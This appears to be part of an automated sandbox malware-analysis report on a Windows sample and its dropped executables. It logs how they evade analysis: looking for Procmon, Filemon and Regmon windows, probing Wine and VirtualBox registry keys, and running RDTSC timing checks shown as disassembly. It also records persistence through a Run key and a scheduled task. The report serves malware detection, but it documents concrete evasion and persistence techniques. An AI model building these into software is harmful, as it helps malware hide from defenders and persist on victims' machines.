Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsJJKEBGHJKF.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b617b009b1.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b617b009b1.exe			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D320 second address: 59D32D instructions: 0x00000000 rdtsc 0x00000002 jns 00007F4F7C812076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D32D second address: 59D333 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D333 second address: 59D33F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D33F second address: 59D353 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4F7D4AED16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b jp 00007F4F7D4AED16h 0x00000011 push eax 0x00000012 pop eax 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D353 second address: 59D369 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 ja 00007F4F7C812076h 0x00000009 jc 00007F4F7C812076h 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D49A second address: 59D4EB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F4F7D4AED20h 0x00000010 jmp 00007F4F7D4AED28h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c jmp 00007F4F7D4AED27h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D4EB second address: 59D4F7 instructions: 0x00000000 rdtsc 0x00000002 js 00007F4F7C812076h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D4F7 second address: 59D4FC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D699 second address: 59D69D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D69D second address: 59D701 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4F7D4AED28h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F4F7D4AED1Ah 0x00000010 pop eax 0x00000011 pushad 0x00000012 jmp 00007F4F7D4AED22h 0x00000017 jnc 00007F4F7D4AED34h 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A0547 second address: 5A054B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A054B second address: 5A0555 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4F7D4AED16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A0555 second address: 5A0591 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7C812085h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c sbb dx, D068h 0x00000011 push 00000000h 0x00000013 xor dword ptr [ebp+122D1CE7h], edi 0x00000019 call 00007F4F7C812079h 0x0000001e push eax 0x0000001f push edx 0x00000020 push ebx 0x00000021 jnc 00007F4F7C812076h 0x00000027 pop ebx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A0591 second address: 5A05AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7D4AED23h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A05AE second address: 5A05B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A05B3 second address: 5A05CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4F7D4AED28h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A05CF second address: 5A05F9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jc 00007F4F7C81207Ch 0x00000012 pushad 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 push edx 0x00000016 pop edx 0x00000017 popad 0x00000018 mov eax, dword ptr [eax] 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F4F7C81207Eh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A07E3 second address: 5A07E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A08CD second address: 5A093D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4F7C812081h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push ebx 0x00000010 pushad 0x00000011 popad 0x00000012 pop ebx 0x00000013 pushad 0x00000014 jmp 00007F4F7C81207Eh 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b popad 0x0000001c popad 0x0000001d nop 0x0000001e push 00000000h 0x00000020 push edx 0x00000021 call 00007F4F7C812078h 0x00000026 pop edx 0x00000027 mov dword ptr [esp+04h], edx 0x0000002b add dword ptr [esp+04h], 0000001Dh 0x00000033 inc edx 0x00000034 push edx 0x00000035 ret 0x00000036 pop edx 0x00000037 ret 0x00000038 mov esi, dword ptr [ebp+122D3837h] 0x0000003e push 00000000h 0x00000040 mov si, bx 0x00000043 call 00007F4F7C812079h 0x00000048 push edx 0x00000049 pushad 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A093D second address: 5A0959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F4F7D4AED16h 0x0000000a popad 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F4F7D4AED1Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A0959 second address: 5A096C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4F7C812076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push ebx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A096C second address: 5A09AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4F7D4AED20h 0x00000009 popad 0x0000000a pop ebx 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e jbe 00007F4F7D4AED1Ch 0x00000014 jp 00007F4F7D4AED16h 0x0000001a push edi 0x0000001b push esi 0x0000001c pop esi 0x0000001d pop edi 0x0000001e popad 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F4F7D4AED1Fh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A09AB second address: 5A09B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A09B0 second address: 5A0A40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push 00000003h 0x0000000c jmp 00007F4F7D4AED27h 0x00000011 push 00000000h 0x00000013 movsx edx, ax 0x00000016 push 00000003h 0x00000018 push B4826828h 0x0000001d pushad 0x0000001e push esi 0x0000001f jc 00007F4F7D4AED16h 0x00000025 pop esi 0x00000026 pushad 0x00000027 push edi 0x00000028 pop edi 0x00000029 push esi 0x0000002a pop esi 0x0000002b popad 0x0000002c popad 0x0000002d add dword ptr [esp], 0B7D97D8h 0x00000034 jno 00007F4F7D4AED1Ch 0x0000003a mov dword ptr [ebp+122D1FD7h], ebx 0x00000040 lea ebx, dword ptr [ebp+124543DAh] 0x00000046 push 00000000h 0x00000048 push edx 0x00000049 call 00007F4F7D4AED18h 0x0000004e pop edx 0x0000004f mov dword ptr [esp+04h], edx 0x00000053 add dword ptr [esp+04h], 00000015h 0x0000005b inc edx 0x0000005c push edx 0x0000005d ret 0x0000005e pop edx 0x0000005f ret 0x00000060 mov cx, di 0x00000063 jnc 00007F4F7D4AED1Ch 0x00000069 xchg eax, ebx 0x0000006a push eax 0x0000006b push edx 0x0000006c push ecx 0x0000006d push eax 0x0000006e push edx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A0A40 second address: 5A0A45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A0A45 second address: 5A0A62 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4F7D4AED1Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 jns 00007F4F7D4AED16h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B1695 second address: 5B1699 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B1699 second address: 5B16B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F4F7D4AED1Ah 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B16B0 second address: 5B16B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C2230 second address: 5C2246 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F4F7D4AED1Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C2246 second address: 5C224B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59794A second address: 597957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 597957 second address: 597977 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7C81207Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4F7C81207Eh 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C034B second address: 5C0368 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4F7D4AED1Eh 0x00000009 popad 0x0000000a je 00007F4F7D4AED1Ah 0x00000010 push esi 0x00000011 pop esi 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C0368 second address: 5C0381 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F4F7C812083h 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C04DB second address: 5C04F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7D4AED1Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007F4F7D4AED16h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C04F3 second address: 5C052B instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4F7C812076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4F7C812085h 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007F4F7C81207Dh 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C052B second address: 5C0534 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C0827 second address: 5C082D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C082D second address: 5C0833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
